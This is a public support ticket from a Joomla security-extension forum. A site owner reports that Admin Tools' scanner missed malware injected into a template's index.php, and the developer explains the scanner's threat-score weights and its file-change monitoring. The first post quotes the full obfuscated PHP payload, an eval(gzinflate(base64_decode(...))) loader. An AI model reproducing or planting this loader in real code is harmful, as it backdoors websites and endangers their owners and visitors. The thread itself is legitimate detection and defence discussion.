Support

Admin Tools

#26590 Doesn't detect eval malware.

Posted in ‘Admin Tools for Joomla! 4 & 5’
This is a public ticket

Everybody will be able to see its contents. Do not include usernames, passwords or any other sensitive information.

Environment Information

Joomla! version
n/a
PHP version
n/a
Admin Tools version
n/a

Latest post by on Thursday, 22 December 2016 17:17 CST

Tuesday, 22 November 2016 03:25 CST

xtech86
Hello,

We recently had a site compromised from an old component. Upon looking and inspecting we noticed Akeeba Admin tools didn't detect an infected file. See below for the eval function which was not detected that was inserted into the index.php file of the template, it's not event rated as suspicious.

        <?php eval(gzinflate(base64_decode("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"))); ?>


Many thanks
Edited by xtech86 on 2016-11-22 03:26 CST

Tuesday, 22 November 2016 08:47 CST

nicholas
All three function (eval, gzinflate and base64_decode) had valid uses, even inside Joomla! itself. The latter two are used in extension installation, cache handling and the Joomla update system. The only reason you know that this file might be hacked is because you, a sentient being, don't expect to see this construct in the index.php file of a template. Having a computer reach that conclusion requires a kind of AI which isn't available yet, at least not to FOSS developers. This leaves us with simple pattern matching. The downside is that very simple constructs which have a large intersection with valid, benign code will not register as threats. This is one of these cases. The eval construct without variable nesting has a weight factor of 0.2, base64_decode has a weight factor of 0.2 and gzinflate is not suspicious at all. This gives a threat score of 0.4 which is rounded down to 0.

Basically, too simple hacks don't register in the threat score. More usual hacks, consisting of eval's with nested variables, arrays and superglobals do register and, in fact, produce threat scores off the roof. While we could adjust the plain old eval to have a higher threat score, it would also produce a lot of false positives. There's no right or wrong way to deal with that.

However, Admin Tools DOES detect that the file has CHANGED. This is the entire point of the PHP File Change Scanner. You should be looking at BOTH the threat score AND the modification status of a file to figure out if it requires attention. For example, if you have not updated the template and all of a sudden you see it being modified you should take a look at it to see what changed. Admin Tools can be configured to show you a diff between the previous and the current version of the file. That would immediately draw your attention to this block of code.

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

Tuesday, 22 November 2016 08:57 CST

xtech86
Hi Nicholas,

I would have thought that a base64 had a higher threat score when in a component view or template directory that's all. We do indeed do the monitoring of all files, however on the date the attack took place we also updated all extensions and Joomla! so the change looked to be related to our changes.

An unfortunate circumstance I suppose.

Many thanks
Tony

Tuesday, 22 November 2016 09:55 CST

nicholas
The folder does not signify much intent these days. Most templates are decidedly not template language to provide structure + CSS to make it all look good. Modern templates have a lot of code, many of them more code (in line count and scope) than Joomla itself. Using the folder location as context to threat score calculation is an invitation to trouble. Not only you'd have to know about each one and every of the templates out there and their structure but you'd also run the risk of downplaying the impact of legitimate threats outside the "usual suspects". Last month I saw a really beautiful (from a code perspective) hack hidden as additional code inside an interface file. That would be the last place to look for an exploit. Exactly why the hacker targeted it.

FWIW there is a really useful feature you may have missed: Admin Tools can highlight potentially suspicious content in any file, even those which add up to a zero threat score. This includes eval and base64_decode, even in the circumstances they yield a low combined threat score. Of course that doesn't help when the hack takes place at the same time you update everything on your site, meaning there's not a cat's chance in hell of seeing the one hacked file.

Nicholas K. Dionysopoulos

Lead Developer and Director

🇬🇷Greek: native 🇬🇧English: excellent 🇫🇷French: basic • 🕐 My time zone is Europe / Athens
Please keep in mind my timezone and cultural differences when reading my replies. Thank you!

Thursday, 22 December 2016 17:17 CST

System Task
system
This ticket has been automatically closed. All tickets which have been inactive for a long time are automatically closed. If you believe that this ticket was closed in error, please contact us.
Edited by on 2016-12-22 17:17 CST

Support Information

Working hours: We are open Monday to Friday, 9am to 7pm Cyprus timezone (EET / EEST). Support is provided by the same developers writing the software, all of which live in Europe. You can still file tickets outside of our working hours, but we cannot respond to them until we're back at the office.

Support policy: We would like to kindly inform you that when using our support you have already agreed to the Support Policy which is part of our Terms of Service. Thank you for your understanding and for helping us help you!